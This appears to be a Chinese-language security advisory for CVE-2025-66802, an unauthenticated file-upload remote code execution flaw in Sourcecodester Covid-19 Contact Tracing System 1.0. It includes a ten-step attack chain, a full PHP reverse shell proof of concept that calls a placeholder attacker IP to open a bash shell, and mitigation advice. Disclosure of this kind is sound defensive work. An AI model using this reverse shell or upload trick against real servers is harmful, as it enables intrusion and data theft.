IPBUF安全漏洞报告
English
CVE-2025-66802 CVSS 9.8 严重

CVE-2025-66802 Sourcecodester Covid-19 Contact Tracing System 1.0 远程代码执行漏洞

披露日期: 2026-01-12

漏洞信息

漏洞编号
CVE-2025-66802
漏洞类型
远程代码执行(RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Sourcecodester Covid-19 Contact Tracing System 1.0

相关标签

CVE-2025-66802远程代码执行RCE文件上传漏洞SourcecodesterCovid-19 Contact Tracing SystemPHP反弹shellWeb应用安全CVSS 9.8无需认证

漏洞概述

CVE-2025-66802是Sourcecodester Covid-19 Contact Tracing System 1.0版本中存在的一个严重远程代码执行漏洞。该系统是一款用于新冠疫情接触追踪的Web应用程序。漏洞源于应用程序在处理用户头像上传功能时,未对上传文件进行充分的安全验证和过滤。攻击者可以利用此漏洞上传包含恶意PHP代码的文件(如反弹shell脚本),并在服务器上执行任意系统命令,从而完全控制目标服务器。由于该漏洞无需认证即可利用,且CVSS评分高达9.8,属于极其严重的威胁,攻击复杂度低,影响范围涵盖机密性、完整性和可用性三个安全维度。建议立即采取修复措施以防止被恶意利用。

技术细节

该漏洞存在于Covid-19 Contact Tracing System的用户头像上传功能模块。应用程序在接收用户上传的图片文件时,仅检查了文件扩展名是否为图片格式,但未对文件内容进行深度验证。攻击者可以将PHP反弹shell代码伪装成图片文件上传到服务器。上传后的文件通常存储在可访问的Web目录下,当攻击者直接访问该文件路径时,服务器会将其作为PHP脚本执行,从而触发恶意代码。攻击者利用反弹shell连接到自己的C2服务器,获得一个交互式的远程命令行会话,进而在目标服务器上执行任意操作,包括读取敏感配置文件、植入后门、横向移动等。由于上传功能在用户注册或资料修改处,无需任何认证凭证即可触发漏洞。

攻击链分析

STEP 1
步骤1
攻击者准备PHP反弹shell代码,设置C2服务器IP地址和监听端口
STEP 2
步骤2
攻击者访问Covid-19 Contact Tracing System的用户注册或头像上传页面
STEP 3
步骤3
攻击者将PHP反弹shell代码伪装成图片文件(如1.jpg.php)通过表单上传
STEP 4
步骤4
应用程序仅验证文件扩展名,未检查文件内容,允许恶意PHP文件上传成功
STEP 5
步骤5
上传的文件被存储在Web可访问目录下(如/uploads/avatar/1.jpg.php)
STEP 6
步骤6
攻击者在C2服务器上启动netcat监听,准备接收反弹连接
STEP 7
步骤7
攻击者通过浏览器或curl访问上传的PHP文件路径,触发代码执行
STEP 8
步骤8
服务器执行PHP反弹shell,向攻击者C2服务器发起TCP连接
STEP 9
步骤9
攻击者获得服务器shell访问权限,可执行任意系统命令
STEP 10
步骤10
攻击者可进行数据窃取、权限维持、横向移动等后续攻击活动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php // PHP Reverse Shell for CVE-2025-66802 // Target: Sourcecodester Covid-19 Contact Tracing System 1.0 // Usage: Upload this file as user avatar, then access it via web browser $ip = 'ATTACKER_IP'; // Change to attacker IP $port = 4444; // Change to attacker listening port $chunk_size = 4096; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/bash -i'; $sock = fsockopen($ip, $port); $descriptorspec = array( 0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w') ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); while (true) { if (feof($sock) || feof($pipes[1])) break; $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { $input = fread($sock, $chunk_size); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { $input = fread($pipes[1], $chunk_size); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { $input = fread($pipes[2], $chunk_size); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); ?>

影响范围

Sourcecodester Covid-19 Contact Tracing System 1.0

防御指南

临时缓解措施
在厂商发布正式修复版本之前,可采取以下临时缓解措施:1) 临时禁用用户头像上传功能;2) 限制上传目录的访问权限,确保PHP文件无法被执行;3) 在Web服务器配置中禁止/uploads目录下的.php文件执行;4) 部署Web应用防火墙规则拦截可疑的上传请求;5) 加强服务器出站流量监控,及时发现可疑的后门连接行为;6) 定期检查服务器文件系统,发现可疑的PHP文件及时清除。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表